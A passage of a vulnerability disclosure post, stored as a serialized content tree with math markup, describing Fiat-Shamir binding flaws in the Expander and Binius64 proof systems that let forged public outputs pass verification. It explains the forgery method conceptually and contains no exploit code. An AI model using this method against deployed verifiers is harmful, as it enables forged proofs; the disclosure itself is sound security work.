vulnerability:",{"type":23,"tag":24,"props":120112,"children":120113},{},[120114,120119],{"type":23,"tag":56,"props":120115,"children":120117},{"className":120116},[],[120118],{"type":28,"value":120078},{"type":28,"value":120120}," is never absorbed into the transcript. The transcript is initialized from the PCS commitment and sumcheck round messages, but public inputs are passed separately to the verifier.",{"type":23,"tag":24,"props":120122,"children":120123},{},[120124],{"type":23,"tag":126,"props":120125,"children":120128},{"alt":120126,"src":120127},"9_expander","/posts/zkvms-unfaithful-claims/9_expander.svg",[],{"type":23,"tag":24,"props":120130,"children":120131},{},[120132,120133,120138],{"type":28,"value":15592},{"type":23,"tag":56,"props":120134,"children":120136},{"className":120135},[],[120137],{"type":28,"value":120017},{"type":28,"value":120139}," function computes a linear combination:",{"type":23,"tag":24,"props":120141,"children":120142},{},[120143],{"type":23,"tag":56,"props":120144,"children":120146},{"className":120145},[2960,2961],[120147],{"type":23,"tag":504,"props":120148,"children":120150},{"className":120149},[2966],[120151],{"type":23,"tag":504,"props":120152,"children":120154},{"className":120153,"ariaHidden":2972},[2971],[120155,120200,120324],{"type":23,"tag":504,"props":120156,"children":120158},{"className":120157},[2977],[120159,120163,120172,120177,120187,120191,120196],{"type":23,"tag":504,"props":120160,"children":120162},{"className":120161,"style":93211},[2982],[],{"type":23,"tag":504,"props":120164,"children":120166},{"className":120165},[2988,28],[120167],{"type":23,"tag":504,"props":120168,"children":120170},{"className":120169},[2988],[120171],{"type":28,"value":36524},{"type":23,"tag":504,"props":120173,"children":120175},{"className":120174,"style":91798},[2988],[120176],{"type":28,"value":2059},{"type":23,"tag":504,"props":120178,"children":120180},{"className":120179},[2988,28],[120181],{"type":23,"tag":504,"props":120182,"children":120184},{"className":120183},[2988],[120185],{"type":28,"value":120186},"cst",{"type":23,"tag":504,"props":120188,"children":120190},{"className":120189,"style":3167},[3069],[],{"type":23,"tag":504,"props":120192,"children":120194},{"className":120193},[3172],[120195],{"type":28,"value":601},{"type":23,"tag":504,"props":120197,"children":120199},{"className":120198,"style":3167},[3069],[],{"type":23,"tag":504,"props":120201,"children":120203},{"className":120202},[2977],[120204,120208,120265,120269,120296,120301,120306,120311,120315,120320],{"type":23,"tag":504,"props":120205,"children":120207},{"className":120206,"style":91740},[2982],[],{"type":23,"tag":504,"props":120209,"children":120211},{"className":120210},[20605],[120212,120217],{"type":23,"tag":504,"props":120213,"children":120215},{"className":120214,"style":20612},[20605,20610,20611],[120216],{"type":28,"value":107593},{"type":23,"tag":504,"props":120218,"children":120220},{"className":120219},[3005],[120221],{"type":23,"tag":504,"props":120222,"children":120224},{"className":120223},[3010,20623],[120225,120254],{"type":23,"tag":504,"props":120226,"children":120228},{"className":120227},[3015],[120229,120249],{"type":23,"tag":504,"props":120230,"children":120232},{"className":120231,"style":113005},[3020],[120233],{"type":23,"tag":504,"props":120234,"children":120235},{"style":20636},[120236,120240],{"type":23,"tag":504,"props":120237,"children":120239},{"className":120238,"style":3030},[3029],[],{"type":23,"tag":504,"props":120241,"children":120243},{"className":120242},[3035,3036,3037,3038],[120244],{"type":23,"tag":504,"props":120245,"children":120247},{"className":120246},[2988,20569,3038],[120248],{"type":28,"value":2716},{"type":23,"tag":504,"props":120250,"children":120252},{"className":120251},[20726],[120253],{"type":28,"value":20729},{"type":23,"tag":504,"props":120255,"children":120257},{"className":120256},[3015],[120258],{"type":23,"tag":504,"props":120259,"children":120261},{"className":120260,"style":113285},[3020],[120262],{"type":23,"tag":504,"props":120263,"children":120264},{},[],{"type":23,"tag":504,"props":120266,"children":120268},{"className":120267,"style":3108},[3069],[],{"type":23,"tag":504,"props":120270,"children":120272},{"className":120271},[2988],[120273,120282,120287],{"type":23,"tag":504,"props":120274,"children":120276},{"className":120275},[2988,28],[120277],{"type":23,"tag":504,"props":120278,"children":120280},{"className":120279},[2988],[120281],{"type":28,"value":60654},{"type":23,"tag":504,"props":120283,"children":120285},{"className":120284,"style":91798},[2988],[120286],{"type":28,"value":2059},{"type":23,"tag":504,"props":120288,"children":120290},{"className":120289},[2988,28],[120291],{"type":23,"tag":504,"props":120292,"children":120294},{"className":120293},[2988],[120295],{"type":28,"value":7350},{"type":23,"tag":504,"props":120297,"children":120299},{"className":120298},[20698],[120300],{"type":28,"value":2711},{"type":23,"tag":504,"props":120302,"children":120304},{"className":120303},[2988,20569],[120305],{"type":28,"value":2716},{"type":23,"tag":504,"props":120307,"children":120309},{"className":120308},[20720],[120310],{"type":28,"value":14391},{"type":23,"tag":504,"props":120312,"children":120314},{"className":120313,"style":3070},[3069],[],{"type":23,"tag":504,"props":120316,"children":120318},{"className":120317},[3075],[120319],{"type":28,"value":110060},{"type":23,"tag":504,"props":120321,"children":120323},{"className":120322,"style":3070},[3069],[],{"type":23,"tag":504,"props":120325,"children":120327},{"className":120326},[2977],[120328,120332,120341,120346,120351,120356,120360,120409],{"type":23,"tag":504,"props":120329,"children":120331},{"className":120330,"style":3090},[2982],[],{"type":23,"tag":504,"props":120333,"children":120335},{"className":120334},[2988,28],[120336],{"type":23,"tag":504,"props":120337,"children":120339},{"className":120338},[2988],[120340],{"type":28,"value":111387},{"type":23,"tag":504,"props":120342,"children":120344},{"className":120343},[20698],[120345],{"type":28,"value":526},{"type":23,"tag":504,"props":120347,"children":120349},{"className":120348},[2988,20569],[120350],{"type":28,"value":2716},{"type":23,"tag":504,"props":120352,"children":120354},{"className":120353},[3101],[120355],{"type":28,"value":3104},{"type":23,"tag":504,"props":120357,"children":120359},{"className":120358,"style":3108},[3069],[],{"type":23,"tag":504,"props":120361,"children":120363},{"className":120362},[2988,110947],[120364],{"type":23,"tag":504,"props":120365,"children":120367},{"className":120366},[3010],[120368],{"type":23,"tag":504,"props":120369,"children":120371},{"className":120370},[3015],[120372],{"type":23,"tag":504,"props":120373,"children":120375},{"className":120374,"style":111033},[3020],[120376,120388],{"type":23,"tag":504,"props":120377,"children":120378},{"style":110964},[120379,120383],{"type":23,"tag":504,"props":120380,"children":120382},{"className":120381,"style":110969},[3029],[],{"type":23,"tag":504,"props":120384,"children":120386},{"className":120385,"style":91798},[2988,20569],[120387],{"type":28,"value":92617},{"type":23,"tag":504,"props":120389,"children":120390},{"style":110964},[120391,120395],{"type":23,"tag":504,"props":120392,"children":120394},{"className":120393,"style":110969},[3029],[],{"type":23,"tag":504,"props":120396,"children":120398},{"className":120397,"style":111057},[110987],[120399],{"type":23,"tag":504,"props":120400,"children":120402},{"className":120401,"style":111063},[111062],[120403],{"type":23,"tag":33249,"props":120404,"children":120405},{"xmlns":111067,"width":111068,"height":111069,"style":111070,"viewBox":111071,"preserveAspectRatio":111072},[120406],{"type":23,"tag":111075,"props":120407,"children":120408},{"d":111077},[],{"type":23,"tag":504,"props":120410,"children":120412},{"className":120411},[20720],[120413],{"type":28,"value":2105},{"type":23,"tag":24,"props":120415,"children":120416},{},[120417,120418,120487,120489,120494,120496,120501],{"type":28,"value":114634},{"type":23,"tag":56,"props":120419,"children":120421},{"className":120420},[2960,2961],[120422],{"type":23,"tag":504,"props":120423,"children":120425},{"className":120424},[2966],[120426],{"type":23,"tag":504,"props":120427,"children":120429},{"className":120428,"ariaHidden":2972},[2971],[120430],{"type":23,"tag":504,"props":120431,"children":120433},{"className":120432},[2977],[120434,120438],{"type":23,"tag":504,"props":120435,"children":120437},{"className":120436,"style":111033},[2982],[],{"type":23,"tag":504,"props":120439,"children":120441},{"className":120440},[2988,110947],[120442],{"type":23,"tag":504,"props":120443,"children":120445},{"className":120444},[3010],[120446],{"type":23,"tag":504,"props":120447,"children":120449},{"className":120448},[3015],[120450],{"type":23,"tag":504,"props":120451,"children":120453},{"className":120452,"style":111033},[3020],[120454,120466],{"type":23,"tag":504,"props":120455,"children":120456},{"style":110964},[120457,120461],{"type":23,"tag":504,"props":120458,"children":120460},{"className":120459,"style":110969},[3029],[],{"type":23,"tag":504,"props":120462,"children":120464},{"className":120463,"style":91798},[2988,20569],[120465],{"type":28,"value":92617},{"type":23,"tag":504,"props":120467,"children":120468},{"style":110964},[120469,120473],{"type":23,"tag":504,"props":120470,"children":120472},{"className":120471,"style":110969},[3029],[],{"type":23,"tag":504,"props":120474,"children":120476},{"className":120475,"style":111057},[110987],[120477],{"type":23,"tag":504,"props":120478,"children":120480},{"className":120479,"style":111063},[111062],[120481],{"type":23,"tag":33249,"props":120482,"children":120483},{"xmlns":111067,"width":111068,"height":111069,"style":111070,"viewBox":111071,"preserveAspectRatio":111072},[120484],{"type":23,"tag":111075,"props":120485,"children":120486},{"d":111077},[],{"type":28,"value":120488}," contains the challenges. Since challenges are derived before the statement data is bound, they are independent of ",{"type":23,"tag":56,"props":120490,"children":120492},{"className":120491},[],[120493],{"type":28,"value":120078},{"type":28,"value":120495},". This lets an attacker choose an arbitrary false statement (e.g., a forged output) and then solve the induced linear constraints for a modified ",{"type":23,"tag":56,"props":120497,"children":120499},{"className":120498},[],[120500],{"type":28,"value":120078},{"type":28,"value":120502}," that makes the verifier's check pass.",{"type":23,"tag":24,"props":120504,"children":120505},{},[120506,120510,120512,120519,120520,120523,120530],{"type":23,"tag":296,"props":120507,"children":120508},{},[120509],{"type":28,"value":115508},{"type":28,"value":120511}," Fixed on 21st January 2026 via ",{"type":23,"tag":92,"props":120513,"children":120516},{"href":120514,"rel":120515},"https://github.com/PolyhedraZK/Expander/commit/4a8c2be03535194c1f6b48a93ad2f5480649f7c2",[96],[120517],{"type":28,"value":120518},"commit 4a8c2be",{"type":28,"value":5441},{"type":23,"tag":29951,"props":120521,"children":120522},{},[],{"type":23,"tag":92,"props":120524,"children":120527},{"href":120525,"rel":120526},"https://blog.polyhedra.network/expander-bug-bounty/",[96],[120528],{"type":28,"value":120529},"Claimed 500k Bug bounty",{"type":28,"value":120531}," award pending",{"type":23,"tag":17774,"props":120533,"children":120534},{},[],{"type":23,"tag":82,"props":120536,"children":120538},{"id":120537},"binius64",[120539],{"type":28,"value":106641},{"type":23,"tag":24,"props":120541,"children":120542},{},[120543,120545,120672],{"type":28,"value":120544},"Binius64 is a proof system optimized for binary fields, designed to be efficient on 64-bit CPUs. Binius uses ",{"type":23,"tag":56,"props":120546,"children":120548},{"className":120547},[2960,2961],[120549],{"type":23,"tag":504,"props":120550,"children":120552},{"className":120551},[2966],[120553],{"type":23,"tag":504,"props":120554,"children":120556},{"className":120555,"ariaHidden":2972},[2971],[120557],{"type":23,"tag":504,"props":120558,"children":120560},{"className":120559},[2977],[120561,120566],{"type":23,"tag":504,"props":120562,"children":120565},{"className":120563,"style":120564},[2982],"height:0.8665em;vertical-align:-0.1776em;",[],{"type":23,"tag":504,"props":120567,"children":120569},{"className":120568},[2988],[120570,120577],{"type":23,"tag":504,"props":120571,"children":120574},{"className":120572},[2988,120573],"mathbb",[120575],{"type":28,"value":120576},"F",{"type":23,"tag":504,"props":120578,"children":120580},{"className":120579},[3005],[120581],{"type":23,"tag":504,"props":120582,"children":120584},{"className":120583},[3010,20623],[120585,120660],{"type":23,"tag":504,"props":120586,"children":120588},{"className":120587},[3015],[120589,120655],{"type":23,"tag":504,"props":120590,"children":120592},{"className":120591,"style":111130},[3020],[120593],{"type":23,"tag":504,"props":120594,"children":120596},{"style":120595},"top:-2.5224em;margin-left:0em;margin-right:0.05em;",[120597,120601],{"type":23,"tag":504,"props":120598,"children":120600},{"className":120599,"style":3030},[3029],[],{"type":23,"tag":504,"props":120602,"children":120604},{"className":120603},[3035,3036,3037,3038],[120605],{"type":23,"tag":504,"props":120606,"children":120608},{"className":120607},[2988,3038],[120609],{"type":23,"tag":504,"props":120610,"children":120612},{"className":120611},[2988,3038],[120613,120618],{"type":23,"tag":504,"props":120614,"children":120616},{"className":120615},[2988,3038],[120617],{"type":28,"value":2100},{"type":23,"tag":504,"props":120619,"children":120621},{"className":120620},[3005],[120622],{"type":23,"tag":504,"props":120623,"children":120625},{"className":120624},[3010],[120626],{"type":23,"tag":504,"props":120627,"children":120629},{"className":120628},[3015],[120630],{"type":23,"tag":504,"props":120631,"children":120634},{"className":120632,"style":120633},[3020],"height:0.7463em;",[120635],{"type":23,"tag":504,"props":120636,"children":120637},{"style":111255},[120638,120642],{"type":23,"tag":504,"props":120639,"children":120641},{"className":120640,"style":107658},[3029],[],{"type":23,"tag":504,"props":120643,"children":120645},{"className":120644},[3035,107663,107664,3038],[120646],{"type":23,"tag":504,"props":120647,"children":120649},{"className":120648},[2988,3038],[120650],{"type":23,"tag":504,"props":120651,"children":120653},{"className":120652},[2988,3038],[120654],{"type":28,"value":28829},{"type":23,"tag":504,"props":120656,"children":120658},{"className":120657},[20726],[120659],{"type":28,"value":20729},{"type":23,"tag":504,"props":120661,"children":120663},{"className":120662},[3015],[120664],{"type":23,"tag":504,"props":120665,"children":120668},{"className":120666,"style":120667},[3020],"height:0.1776em;",[120669],{"type":23,"tag":504,"props":120670,"children":120671},{},[],{"type":28,"value":120673}," (or variants thereof), where addition is XOR. This makes certain operations very fast.",{"type":23,"tag":24,"props":120675,"children":120676},{},[120677,120679,120684],{"type":28,"value":120678},"One of Binius's key features is its specialized protocols for bitwise operations. The ",{"type":23,"tag":296,"props":120680,"children":120681},{},[120682],{"type":28,"value":120683},"Shift Protocol",{"type":28,"value":120685}," efficiently handles bit-shifts and rotations (essential for hash functions like SHA-256) without the massive overhead typical in other proof systems.",{"type":23,"tag":24,"props":120687,"children":120688},{},[120689],{"type":23,"tag":296,"props":120690,"children":120691},{},[120692],{"type":28,"value":120110},{"type":23,"tag":24,"props":120694,"children":120695},{},[120696],{"type":28,"value":120697},"The verifier receives the public witness (program inputs/outputs) as a separate parameter:",{"type":23,"tag":494,"props":120699,"children":120701},{"code":120700,"language":1956,"meta":7,"className":1957,"style":7},"pub fn verify\u003CF, C>(\n    constraint_system: &ConstraintSystem,\n    public: &[Word],    // \u003C- NEVER ABSORBED\n    // ...\n) -> Result\u003CVerifyOutput\u003CF>, Error>\n",[120702],{"type":23,"tag":56,"props":120703,"children":120704},{"__ignoreMap":7},[120705,120740,120765,120799,120807],{"type":23,"tag":504,"props":120706,"children":120707},{"class":506,"line":507},[120708,120712,120716,120720,120724,120728,120732,120736],{"type":23,"tag":504,"props":120709,"children":120710},{"style":511},[120711],{"type":28,"value":12671},{"type":23,"tag":504,"props":120713,"children":120714},{"style":511},[120715],{"type":28,"value":12676},{"type":23,"tag":504,"props":120717,"children":120718},{"style":517},[120719],{"type":28,"value":7149},{"type":23,"tag":504,"props":120721,"children":120722},{"style":523},[120723],{"type":28,"value":4789},{"type":23,"tag":504,"props":120725,"children":120726},{"style":1012},[120727],{"type":28,"value":120576},{"type":23,"tag":504,"props":120729,"children":120730},{"style":523},[120731],{"type":28,"value":576},{"type":23,"tag":504,"props":120733,"children":120734},{"style":1012},[120735],{"type":28,"value":115027},{"type":23,"tag":504,"props":120737,"children":120738},{"style":523},[120739],{"type":28,"value":5572},{"type":23,"tag":504,"props":120741,"children":120742},{"class":506,"line":540},[120743,120748,120752,120756,120761],{"type":23,"tag":504,"props":120744,"children":120745},{"style":529},[120746],{"type":28,"value":120747},"    constraint_system",{"type":23,"tag":504,"props":120749,"children":120750},{"style":598},[120751],{"type":28,"value":3472},{"type":23,"tag":504,"props":120753,"children":120754},{"style":598},[120755],{"type":28,"value":6125},{"type":23,"tag":504,"props":120757,"children":120758},{"style":1012},[120759],{"type":28,"value":120760},"ConstraintSystem",{"type":23,"tag":504,"props":120762,"children":120763},{"style":523},[120764],{"type":28,"value":2484},{"type":23,"tag":504,"props":120766,"children":120767},{"class":506,"line":555},[120768,120772,120776,120780,120784,120789,120794],{"type":23,"tag":504,"props":120769,"children":120770},{"style":529},[120771],{"type":28,"value":6505},{"type":23,"tag":504,"props":120773,"children":120774},{"style":598},[120775],{"type":28,"value":3472},{"type":23,"tag":504,"props":120777,"children":120778},{"style":598},[120779],{"type":28,"value":6125},{"type":23,"tag":504,"props":120781,"children":120782},{"style":523},[120783],{"type":28,"value":2711},{"type":23,"tag":504,"props":120785,"children":120786},{"style":1012},[120787],{"type":28,"value":120788},"Word",{"type":23,"tag":504,"props":120790,"children":120791},{"style":523},[120792],{"type":28,"value":120793},"],    ",{"type":23,"tag":504,"props":120795,"children":120796},{"style":1106},[120797],{"type":28,"value":120798},"// \u003C- NEVER ABSORBED\n",{"type":23,"tag":504,"props":120800,"children":120801},{"class":506,"line":633},[120802],{"type":23,"tag":504,"props":120803,"children":120804},{"style":1106},[120805],{"type":28,"value":120806},"    // ...\n",{"type":23,"tag":504,"props":120808,"children":120809},{"class":506,"line":687},[120810,120814,120818,120822,120826,120831,120835,120839,120843,120847],{"type":23,"tag":504,"props":120811,"children":120812},{"style":523},[120813],{"type":28,"value":2064},{"type":23,"tag":504,"props":120815,"children":120816},{"style":598},[120817],{"type":28,"value":12738},{"type":23,"tag":504,"props":120819,"children":120820},{"style":1012},[120821],{"type":28,"value":12743},{"type":23,"tag":504,"props":120823,"children":120824},{"style":523},[120825],{"type":28,"value":4789},{"type":23,"tag":504,"props":120827,"children":120828},{"style":1012},[120829],{"type":28,"value":120830},"VerifyOutput",{"type":23,"tag":504,"props":120832,"children":120833},{"style":523},[120834],{"type":28,"value":4789},{"type":23,"tag":504,"props":120836,"children":120837},{"style":1012},[120838],{"type":28,"value":120576},{"type":23,"tag":504,"props":120840,"children":120841},{"style":523},[120842],{"type":28,"value":5614},{"type":23,"tag":504,"props":120844,"children":120845},{"style":1012},[120846],{"type":28,"value":36375},{"type":23,"tag":504,"props":120848,"children":120849},{"style":523},[120850],{"type":28,"value":4976},{"type":23,"tag":24,"props":120852,"children":120853},{},[120854,120856,120862,120863,120869,120871,120875],{"type":28,"value":120855},"In the shift protocol, challenges ",{"type":23,"tag":56,"props":120857,"children":120859},{"className":120858},[],[120860],{"type":28,"value":120861},"r_j",{"type":28,"value":430},{"type":23,"tag":56,"props":120864,"children":120866},{"className":120865},[],[120867],{"type":28,"value":120868},"inout_eval_point",{"type":28,"value":120870}," are sampled ",{"type":23,"tag":296,"props":120872,"children":120873},{},[120874],{"type":28,"value":103342},{"type":28,"value":120876}," the public witness is bound.",{"type":23,"tag":24,"props":120878,"children":120879},{},[120880],{"type":23,"tag":296,"props":120881,"children":120882},{},[120883],{"type":28,"value":114230},{"type":23,"tag":24,"props":120885,"children":120886},{},[120887],{"type":23,"tag":126,"props":120888,"children":120891},{"alt":120889,"src":120890},"10_binius","/posts/zkvms-unfaithful-claims/10_binius.svg",[],{"type":23,"tag":24,"props":120893,"children":120894},{},[120895],{"type":28,"value":120896},"During verification",{"type":23,"tag":41,"props":120898,"children":120899},{},[120900,120920,120932,120951],{"type":23,"tag":45,"props":120901,"children":120902},{},[120903,120905,120910,120912,120918],{"type":28,"value":120904},"Sumcheck produces challenge points ",{"type":23,"tag":56,"props":120906,"children":120908},{"className":120907},[],[120909],{"type":28,"value":120861},{"type":28,"value":120911}," (bit indices) and ",{"type":23,"tag":56,"props":120913,"children":120915},{"className":120914},[],[120916],{"type":28,"value":120917},"r_s",{"type":28,"value":120919}," (shift indices)",{"type":23,"tag":45,"props":120921,"children":120922},{},[120923,120925,120930],{"type":28,"value":120924},"Verifier samples ",{"type":23,"tag":56,"props":120926,"children":120928},{"className":120927},[],[120929],{"type":28,"value":120868},{"type":28,"value":120931}," from transcript",{"type":23,"tag":45,"props":120933,"children":120934},{},[120935,120937,120943,120945,120950],{"type":28,"value":120936},"Verifier computes ",{"type":23,"tag":56,"props":120938,"children":120940},{"className":120939},[],[120941],{"type":28,"value":120942},"public_eval = MLE(public, r_j, inout_eval_point)",{"type":28,"value":120944}," using the unbound ",{"type":23,"tag":56,"props":120946,"children":120948},{"className":120947},[],[120949],{"type":28,"value":60654},{"type":28,"value":17114},{"type":23,"tag":45,"props":120952,"children":120953},{},[120954,120955,120961],{"type":28,"value":15592},{"type":23,"tag":56,"props":120956,"children":120958},{"className":120957},[],[120959],{"type":28,"value":120960},"public_eval",{"type":28,"value":120962}," feeds into subsequent verification equations",{"type":23,"tag":24,"props":120964,"children":120965},{},[120966],{"type":28,"value":120967},"The MLE evaluation is linear in the public witness bits:",{"type":23,"tag":24,"props":120969,"children":120970},{},[120971],{"type":23,"tag":56,"props":120972,"children":120974},{"className":120973},[2960,2961],[120975],{"type":23,"tag":504,"props":120976,"children":120978},{"className":120977},[2966],[120979],{"type":23,"tag":504,"props":120980,"children":120982},{"className":120981,"ariaHidden":2972},[2971],[120983,121027,121167,121279],{"type":23,"tag":504,"props":120984,"children":120986},{"className":120985},[2977],[120987,120991,121000,121005,121014,121018,121023],{"type":23,"tag":504,"props":120988,"children":120990},{"className":120989,"style":93211},[2982],[],{"type":23,"tag":504,"props":120992,"children":120994},{"className":120993},[2988,28],[120995],{"type":23,"tag":504,"props":120996,"children":120998},{"className":120997},[2988],[120999],{"type":28,"value":60654},{"type":23,"tag":504,"props":121001,"children":121003},{"className":121002,"style":91798},[2988],[121004],{"type":28,"value":2059},{"type":23,"tag":504,"props":121006,"children":121008},{"className":121007},[2988,28],[121009],{"type":23,"tag":504,"props":121010,"children":121012},{"className":121011},[2988],[121013],{"type":28,"value":36524},{"type":23,"tag":504,"props":121015,"children":121017},{"className":121016,"style":3167},[3069],[],{"type":23,"tag":504,"props":121019,"children":121021},{"className":121020},[3172],[121022],{"type":28,"value":601},{"type":23,"tag":504,"props":121024,"children":121026},{"className":121025,"style":3167},[3069],[],{"type":23,"tag":504,"props":121028,"children":121030},{"className":121029},[2977],[121031,121035,121107,121111,121124,121129,121134,121139,121144,121149,121154,121158,121163],{"type":23,"tag":504,"props":121032,"children":121034},{"className":121033,"style":117560},[2982],[],{"type":23,"tag":504,"props":121036,"children":121038},{"className":121037},[20605],[121039,121044],{"type":23,"tag":504,"props":121040,"children":121042},{"className":121041,"style":20612},[20605,20610,20611],[121043],{"type":28,"value":107593},{"type":23,"tag":504,"props":121045,"children":121047},{"className":121046},[3005],[121048],{"type":23,"tag":504,"props":121049,"children":121051},{"className":121050},[3010,20623],[121052,121096],{"type":23,"tag":504,"props":121053,"children":121055},{"className":121054},[3015],[121056,121091],{"type":23,"tag":504,"props":121057,"children":121059},{"className":121058,"style":112470},[3020],[121060],{"type":23,"tag":504,"props":121061,"children":121062},{"style":20636},[121063,121067],{"type":23,"tag":504,"props":121064,"children":121066},{"className":121065,"style":3030},[3029],[],{"type":23,"tag":504,"props":121068,"children":121070},{"className":121069},[3035,3036,3037,3038],[121071],{"type":23,"tag":504,"props":121072,"children":121074},{"className":121073},[2988,3038],[121075,121081,121086],{"type":23,"tag":504,"props":121076,"children":121079},{"className":121077,"style":121078},[2988,20569,3038],"margin-right:0.02691em;",[121080],{"type":28,"value":48551},{"type":23,"tag":504,"props":121082,"children":121084},{"className":121083},[3101,3038],[121085],{"type":28,"value":3104},{"type":23,"tag":504,"props":121087,"children":121089},{"className":121088},[2988,20569,3038],[121090],{"type":28,"value":2200},{"type":23,"tag":504,"props":121092,"children":121094},{"className":121093},[20726],[121095],{"type":28,"value":20729},{"type":23,"tag":504,"props":121097,"children":121099},{"className":121098},[3015],[121100],{"type":23,"tag":504,"props":121101,"children":121103},{"className":121102,"style":113036},[3020],[121104],{"type":23,"tag":504,"props":121105,"children":121106},{},[],{"type":23,"tag":504,"props":121108,"children":121110},{"className":121109,"style":3108},[3069],[],{"type":23,"tag":504,"props":121112,"children":121114},{"className":121113},[2988],[121115],{"type":23,"tag":504,"props":121116,"children":121118},{"className":121117},[2988,28],[121119],{"type":23,"tag":504,"props":121120,"children":121122},{"className":121121},[2988],[121123],{"type":28,"value":60654},{"type":23,"tag":504,"props":121125,"children":121127},{"className":121126},[20698],[121128],{"type":28,"value":2711},{"type":23,"tag":504,"props":121130,"children":121132},{"className":121131,"style":121078},[2988,20569],[121133],{"type":28,"value":48551},{"type":23,"tag":504,"props":121135,"children":121137},{"className":121136},[20720],[121138],{"type":28,"value":14391},{"type":23,"tag":504,"props":121140,"children":121142},{"className":121141},[20698],[121143],{"type":28,"value":2711},{"type":23,"tag":504,"props":121145,"children":121147},{"className":121146},[2988,20569],[121148],{"type":28,"value":2200},{"type":23,"tag":504,"props":121150,"children":121152},{"className":121151},[20720],[121153],{"type":28,"value":14391},{"type":23,"tag":504,"props":121155,"children":121157},{"className":121156,"style":3070},[3069],[],{"type":23,"tag":504,"props":121159,"children":121161},{"className":121160},[3075],[121162],{"type":28,"value":110060},{"type":23,"tag":504,"props":121164,"children":121166},{"className":121165,"style":3070},[3069],[],{"type":23,"tag":504,"props":121168,"children":121170},{"className":121169},[2977],[121171,121176,121185,121190,121195,121200,121204,121261,121266,121270,121275],{"type":23,"tag":504,"props":121172,"children":121175},{"className":121173,"style":121174},[2982],"height:1.0361em;vertical-align:-0.2861em;",[],{"type":23,"tag":504,"props":121177,"children":121179},{"className":121178},[2988,28],[121180],{"type":23,"tag":504,"props":121181,"children":121183},{"className":121182},[2988],[121184],{"type":28,"value":111387},{"type":23,"tag":504,"props":121186,"children":121188},{"className":121187},[20698],[121189],{"type":28,"value":526},{"type":23,"tag":504,"props":121191,"children":121193},{"className":121192},[2988,20569],[121194],{"type":28,"value":2200},{"type":23,"tag":504,"props":121196,"children":121198},{"className":121197},[3101],[121199],{"type":28,"value":3104},{"type":23,"tag":504,"props":121201,"children":121203},{"className":121202,"style":3108},[3069],[],{"type":23,"tag":504,"props":121205,"children":121207},{"className":121206},[2988],[121208,121213],{"type":23,"tag":504,"props":121209,"children":121211},{"className":121210,"style":91798},[2988,20569],[121212],{"type":28,"value":92617},{"type":23,"tag":504,"props":121214,"children":121216},{"className":121215},[3005],[121217],{"type":23,"tag":504,"props":121218,"children":121220},{"className":121219},[3010,20623],[121221,121250],{"type":23,"tag":504,"props":121222,"children":121224},{"className":121223},[3015],[121225,121245],{"type":23,"tag":504,"props":121226,"children":121228},{"className":121227,"style":92327},[3020],[121229],{"type":23,"tag":504,"props":121230,"children":121231},{"style":108797},[121232,121236],{"type":23,"tag":504,"props":121233,"children":121235},{"className":121234,"style":3030},[3029],[],{"type":23,"tag":504,"props":121237,"children":121239},{"className":121238},[3035,3036,3037,3038],[121240],{"type":23,"tag":504,"props":121241,"children":121243},{"className":121242,"style":113021},[2988,20569,3038],[121244],{"type":28,"value":7640},{"type":23,"tag":504,"props":121246,"children":121248},{"className":121247},[20726],[121249],{"type":28,"value":20729},{"type":23,"tag":504,"props":121251,"children":121253},{"className":121252},[3015],[121254],{"type":23,"tag":504,"props":121255,"children":121257},{"className":121256,"style":117708},[3020],[121258],{"type":23,"tag":504,"props":121259,"children":121260},{},[],{"type":23,"tag":504,"props":121262,"children":121264},{"className":121263},[20720],[121265],{"type":28,"value":2105},{"type":23,"tag":504,"props":121267,"children":121269},{"className":121268,"style":3070},[3069],[],{"type":23,"tag":504,"props":121271,"children":121273},{"className":121272},[3075],[121274],{"type":28,"value":110060},{"type":23,"tag":504,"props":121276,"children":121278},{"className":121277,"style":3070},[3069],[],{"type":23,"tag":504,"props":121280,"children":121282},{"className":121281},[2977],[121283,121287,121296,121301,121306,121311,121315,121325,121330,121339,121344,121353],{"type":23,"tag":504,"props":121284,"children":121286},{"className":121285,"style":91740},[2982],[],{"type":23,"tag":504,"props":121288,"children":121290},{"className":121289},[2988,28],[121291],{"type":23,"tag":504,"props":121292,"children":121294},{"className":121293},[2988],[121295],{"type":28,"value":111387},{"type":23,"tag":504,"props":121297,"children":121299},{"className":121298},[20698],[121300],{"type":28,"value":526},{"type":23,"tag":504,"props":121302,"children":121304},{"className":121303,"style":121078},[2988,20569],[121305],{"type":28,"value":48551},{"type":23,"tag":504,"props":121307,"children":121309},{"className":121308},[3101],[121310],{"type":28,"value":3104},{"type":23,"tag":504,"props":121312,"children":121314},{"className":121313,"style":3108},[3069],[],{"type":23,"tag":504,"props":121316,"children":121318},{"className":121317},[2988,28],[121319],{"type":23,"tag":504,"props":121320,"children":121322},{"className":121321},[2988],[121323],{"type":28,"value":121324},"inout",{"type":23,"tag":504,"props":121326,"children":121328},{"className":121327,"style":91798},[2988],[121329],{"type":28,"value":2059},{"type":23,"tag":504,"props":121331,"children":121333},{"className":121332},[2988,28],[121334],{"type":23,"tag":504,"props":121335,"children":121337},{"className":121336},[2988],[121338],{"type":28,"value":36524},{"type":23,"tag":504,"props":121340,"children":121342},{"className":121341,"style":91798},[2988],[121343],{"type":28,"value":2059},{"type":23,"tag":504,"props":121345,"children":121347},{"className":121346},[2988,28],[121348],{"type":23,"tag":504,"props":121349,"children":121351},{"className":121350},[2988],[121352],{"type":28,"value":116583},{"type":23,"tag":504,"props":121354,"children":121356},{"className":121355},[20720],[121357],{"type":28,"value":2105},{"type":23,"tag":24,"props":121359,"children":121360},{},[121361,121363,121368,121370,121443],{"type":28,"value":121362},"With challenges fixed (independent of ",{"type":23,"tag":56,"props":121364,"children":121366},{"className":121365},[],[121367],{"type":28,"value":60654},{"type":28,"value":121369},"), an attacker can find an alternate witness 